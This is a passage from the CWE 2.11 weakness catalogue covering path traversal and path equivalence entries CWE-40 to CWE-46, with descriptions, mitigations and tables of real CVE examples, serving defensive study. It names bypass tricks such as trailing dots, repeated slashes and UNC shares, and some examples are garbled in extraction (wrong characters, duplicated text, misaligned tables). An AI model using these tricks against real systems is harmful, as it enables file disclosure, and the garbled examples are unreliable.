When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "," character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>36</td>
<td>Absolute Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-40: Path Traversal: '\UNC\share\name\' (Windows UNC Share)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>'C:dirname' or C: (Windows volume or 'drive letter')</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO05-C</td>
<td>Identify files using multiple file attributes</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO05-CPP</td>
<td>Identify files using multiple file attributes</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-40: Path Traversal: '\UNC\share\name\' (Windows UNC Share)

<table>
<thead>
<tr>
<th>Weakness ID: 40 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.</td>
<td></td>
</tr>
</tbody>
</table>

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0687</td>
<td>FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\computername\sharename).</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "/" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if ".//" sequences are removed from the "../...//" string in a sequential fashion, two instances of ".//" would be removed from the original string, but the remaining characters would still form the ".//" string.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>36</td>
<td>Absolute Path Traversal</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1388</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>&quot;\UNC\share\name&quot; (Windows UNC share)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

References


CWE-41: Improper Resolution of Path Equivalence

Weakness ID: 41 (Weakness Base)  
Status: Incomplete

Description

Summary

The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description
Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Confidentiality
- Integrity
- Access Control

**Read files or directories**

**Modify files or directories**

**Bypass protection mechanism**
An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.

**Detection Methods**

**Automated Static Analysis - Binary / Bytecode**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**

**SOAR Partial**
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer

**Manual Static Analysis - Source Code**

**SOAR High**
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BID:3518</td>
<td>Source code disclosure</td>
</tr>
<tr>
<td>BID:6042</td>
<td>Input Validation error</td>
</tr>
<tr>
<td>CVE-1999-0012</td>
<td>Multiple web servers allow restriction bypass using 8.3 names instead of long names</td>
</tr>
<tr>
<td>CVE-1999-1083</td>
<td>Possibly (could be a cleansing error)</td>
</tr>
<tr>
<td>CVE-1999-1456</td>
<td>Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.</td>
</tr>
<tr>
<td>CVE-2000-0004</td>
<td>Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL.</td>
</tr>
<tr>
<td>CVE-2000-0191</td>
<td>application check access for restricted URL before canonicalization</td>
</tr>
<tr>
<td>CVE-2000-0293</td>
<td>Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.</td>
</tr>
<tr>
<td>CVE-2000-1050</td>
<td>Access directory using multiple leading slash.</td>
</tr>
<tr>
<td>CVE-2000-1114</td>
<td>Source code disclosure using trailing dot</td>
</tr>
<tr>
<td>CVE-2000-1133</td>
<td>Bypass directory access restrictions using trailing dot in URL</td>
</tr>
<tr>
<td>CVE-2001-0054</td>
<td>Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as &quot;%20&quot;; certain manipulations have unusual side effects.</td>
</tr>
<tr>
<td>CVE-2001-0446</td>
<td>Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL.</td>
</tr>
<tr>
<td>CVE-2001-0693</td>
<td>Source disclosure via trailing encoded space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2001-0778</td>
<td>Source disclosure via trailing encoded space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2001-0795</td>
<td>Source code disclosure using 8.3 file name.</td>
</tr>
<tr>
<td>CVE-2001-0892</td>
<td>Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /.</td>
</tr>
<tr>
<td>CVE-2001-0893</td>
<td>Read sensitive files with trailing &quot;/&quot;</td>
</tr>
<tr>
<td>CVE-2001-1072</td>
<td>Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.</td>
</tr>
<tr>
<td>CVE-2001-1152</td>
<td>Proxy allows remote attackers to bypass blacklist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a ./., or (4) URL-encoded characters.</td>
</tr>
<tr>
<td>CVE-2001-1248</td>
<td>Source disclosure via trailing encoded space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2001-1386</td>
<td>Bypass check for &quot;.lnk&quot; extension using &quot;.lnk.&quot;</td>
</tr>
<tr>
<td>CVE-2001-1567</td>
<td>&quot;+&quot; characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.</td>
</tr>
<tr>
<td>CVE-2002-0112</td>
<td>Server allows remote attackers to view password protected files via /./ in the URL.</td>
</tr>
<tr>
<td>CVE-2002-0253</td>
<td>Overlaps infoleak</td>
</tr>
<tr>
<td>CVE-2002-0275</td>
<td>Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL.</td>
</tr>
<tr>
<td>CVE-2002-0304</td>
<td>Server allows remote attackers to read password-protected files via a /./ in the HTTP request.</td>
</tr>
<tr>
<td>CVE-2002-0433</td>
<td>List files in web server using &quot;+.ext&quot;</td>
</tr>
<tr>
<td>CVE-2002-1078</td>
<td>Directory listings in web server using multiple trailing slash</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-41: Improper Resolution of Path Equivalence

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1238</td>
<td>Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as <a href="http://www.example.com///file/">http://www.example.com///file/</a>.</td>
</tr>
<tr>
<td>CVE-2002-1451</td>
<td>Trailing space (&quot;+&quot; in query string) leads to source code disclosure.</td>
</tr>
<tr>
<td>CVE-2002-1483</td>
<td>Read files with full pathname using multiple internal slash.</td>
</tr>
<tr>
<td>CVE-2002-1603</td>
<td>Source disclosure via trailing encoded space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2002-1986</td>
<td>Source code disclosure using trailing dot</td>
</tr>
<tr>
<td>CVE-2004-0061</td>
<td>Bypass directory access restrictions using trailing dot in URL</td>
</tr>
<tr>
<td>CVE-2004-0235</td>
<td>Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.</td>
</tr>
<tr>
<td>CVE-2004-0280</td>
<td>Source disclosure via trailing encoded space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2004-0334</td>
<td>Bypass Basic Authentication for files using trailing &quot;/&quot;</td>
</tr>
<tr>
<td>CVE-2004-0578</td>
<td>Server allows remote attackers to read arbitrary files via leading slash (//) characters in a URL request.</td>
</tr>
<tr>
<td>CVE-2004-0696</td>
<td>List directories using desired path and &quot;&quot;</td>
</tr>
<tr>
<td>CVE-2004-0815</td>
<td>&quot;/////etc&quot; cleansed to &quot;/ //etc&quot; then &quot;/etc&quot;</td>
</tr>
<tr>
<td>CVE-2004-0847</td>
<td>ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) &quot;/&quot; (backslash) or (2) &quot;%5C&quot; (encoded backslash), aka &quot;Path Validation Vulnerability.&quot;</td>
</tr>
<tr>
<td>CVE-2004-1032</td>
<td>Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters.</td>
</tr>
<tr>
<td>CVE-2004-1814</td>
<td>Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request.</td>
</tr>
<tr>
<td>CVE-2004-1878</td>
<td>Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash).</td>
</tr>
<tr>
<td>CVE-2004-2213</td>
<td>Source code disclosure using trailing dot or trailing encoding space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2005-0471</td>
<td>Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format.</td>
</tr>
<tr>
<td>CVE-2005-0622</td>
<td>Source disclosure via trailing encoded space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2005-1365</td>
<td>Server allows remote attackers to execute arbitrary commands via a URL with multiple leading &quot;/&quot; (slash) characters and &quot;..&quot; sequences.</td>
</tr>
<tr>
<td>CVE-2005-1366</td>
<td>CGI source disclosure using &quot;dirname/../cgi-bin&quot;</td>
</tr>
<tr>
<td>CVE-2005-1656</td>
<td>Source disclosure via trailing encoded space &quot;%20&quot;</td>
</tr>
<tr>
<td>CVE-2005-3293</td>
<td>Source code disclosure using trailing dot</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>21</td>
<td>Pathname Traversal and Equivalence Errors</td>
<td>699  29</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631  983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1000 1109</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>711  1119</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734  1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868  1319</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888  1388</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>1000 18</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>42</td>
<td>Path Equivalence: 'filename.' (Trailing Dot)</td>
<td>699  78</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>44</td>
<td>Path Equivalence: 'file.name' (Internal Dot)</td>
<td>699  79</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>46</td>
<td>Path Equivalence: 'filename ' (Trailing Space)</td>
<td>699  80</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>47</td>
<td>Path Equivalence: ' filename' (Leading Space)</td>
<td>699  81</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>48</td>
<td>Path Equivalence: 'file name' (Internal Whitespace)</td>
<td>699  82</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>49</td>
<td>Path Equivalence: 'filename/&quot; (Trailing Slash)</td>
<td>699  83</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>50</td>
<td>Path Equivalence: '/multiple/leading/slash'</td>
<td>699  83</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>51</td>
<td>Path Equivalence: '/multiple//internal/slash'</td>
<td>699  84</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>52</td>
<td>Path Equivalence: '/multiple/trailing/slash//'</td>
<td>699  85</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>53</td>
<td>Path Equivalence: '\multiple\internal\backslash'</td>
<td>699  86</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>54</td>
<td>Path Equivalence: 'filedir' (Trailing Backslash)</td>
<td>699  86</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>55</td>
<td>Path Equivalence: '/' (Single Dot Directory)</td>
<td>699  87</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>56</td>
<td>Path Equivalence: 'filedir' (Wildcard)</td>
<td>699  88</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>57</td>
<td>Path Equivalence: 'fakedir/..realdir/filename'</td>
<td>699  89</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>58</td>
<td>Path Equivalence: Windows 8.3 Filename</td>
<td>699  90</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>CanFollow</td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>CanFollow</td>
<td>172</td>
<td>Encoding Error</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes
Some of these manipulations could be effective in path traversal issues, too.

Affected Resources
- File/Directory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Path Equivalence</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO02-C</td>
<td>Canonicalize path names originating from untrusted sources</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO02-CPP</td>
<td>Canonicalize path names originating from untrusted sources</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading 'Ghost' Character Sequences to Bypass Input Filters</td>
</tr>
<tr>
<td>4</td>
<td>Using Alternative IP Address Encodings</td>
</tr>
</tbody>
</table>

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

| Weakness ID: 42 (Weakness Variant) | Status: Incomplete |

Description

Summary
A software system that accepts path input in the form of trailing dot ('filedir.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
- Implementation

Applicable Platforms
- All

Common Consequences
- Access Control
  Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1114</td>
<td>Source code disclosure using trailing dot</td>
</tr>
<tr>
<td>CVE-2000-1133</td>
<td>Bypass directory access restrictions using trailing dot in URL</td>
</tr>
</tbody>
</table>
| CVE-2001-1386  | Bypass check for ".lnk" extension using ".lnk."
| CVE-2002-1986  | Source code disclosure using trailing dot        |
| CVE-2004-0061  | Bypass directory access restrictions using trailing dot in URL |
| CVE-2004-2213  | Source code disclosure using trailing dot        |
| CVE-2005-3293  | Source code disclosure using trailing dot        |

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>ChildOf</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>73</td>
</tr>
<tr>
<td></td>
<td>ChildOf</td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>319</td>
</tr>
<tr>
<td></td>
<td>ChildOf</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1388</td>
</tr>
<tr>
<td></td>
<td>ParentOf</td>
<td>43</td>
<td>Path Equivalence: 'filename....' (Multiple Trailing Dot)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>79</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

Weakness ID: 43 (Weakness Variant)  Status: Incomplete

Description

Summary
A software system that accepts path input in the form of multiple trailing dot ("filedir....") without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

Reference Description
BUGTRAQ:20040205 Apache + Resin Reveals JSP Source Code ...
CVE-2004-0281 Multiple trailing dot allows directory listing

Relationships

Nature Type ID Name Page
ChildOf 42 Path Equivalence: ‘filename.’ (Trailing Dot) 699 78
ChildOf 163 Improper Neutralization of Multiple Trailing Special Elements 1000 320
ChildOf 981 SFP Secondary Cluster: Path Traversal 888 1388

Taxonomy Mappings

Mapped Taxonomy Name Node ID Mapped Node Name
PLOVER Trailing Dot - ‘filedir.’
Software Fault Patterns SFP16 Path Traversal

CWE-44: Path Equivalence: 'file.name' (Internal Dot)

Weakness ID: 44 (Weakness Variant)  Status: Incomplete

Description

Summary
A software system that accepts path input in the form of internal dot ('file.ordir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>73</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1388</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>45</td>
<td>Path Equivalence: 'file...name' (Multiple Internal Dot)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

Relationship Notes
An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Internal Dot - 'file.ordir'</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

Weakness ID: 45 (Weakness Variant) Status: Incomplete

Description

Summary
A software system that accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>44</td>
<td>Path Equivalence: 'file.name' (Internal Dot)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>79</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>165</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>323</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1388</td>
</tr>
</tbody>
</table>

Relationship Notes
An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Multiple Internal Dot - 'file...dir'</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

CWE-46: Path Equivalence: 'filename' (Trailing Space)
Description

Summary
A software system that accepts path input in the form of trailing space ('filedir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0054</td>
<td>Multi-Factor Vulnerability (MVF). directory traversal and other issues in FTP server using Web encodings such as “%20”; certain manipulations have unusual side effects.</td>
</tr>
<tr>
<td>CVE-2001-0693</td>
<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
<tr>
<td>CVE-2001-0778</td>
<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
<tr>
<td>CVE-2001-1248</td>
<td>Source disclosure via trailing encoded space “%20”</td>
</tr>
<tr>
<td>CVE-2002-1451</td>
<td>Trailing space (“+” in query string) leads to source code disclosure.</td>
</tr>
<tr>
<td>CVE-2002-1603</td>
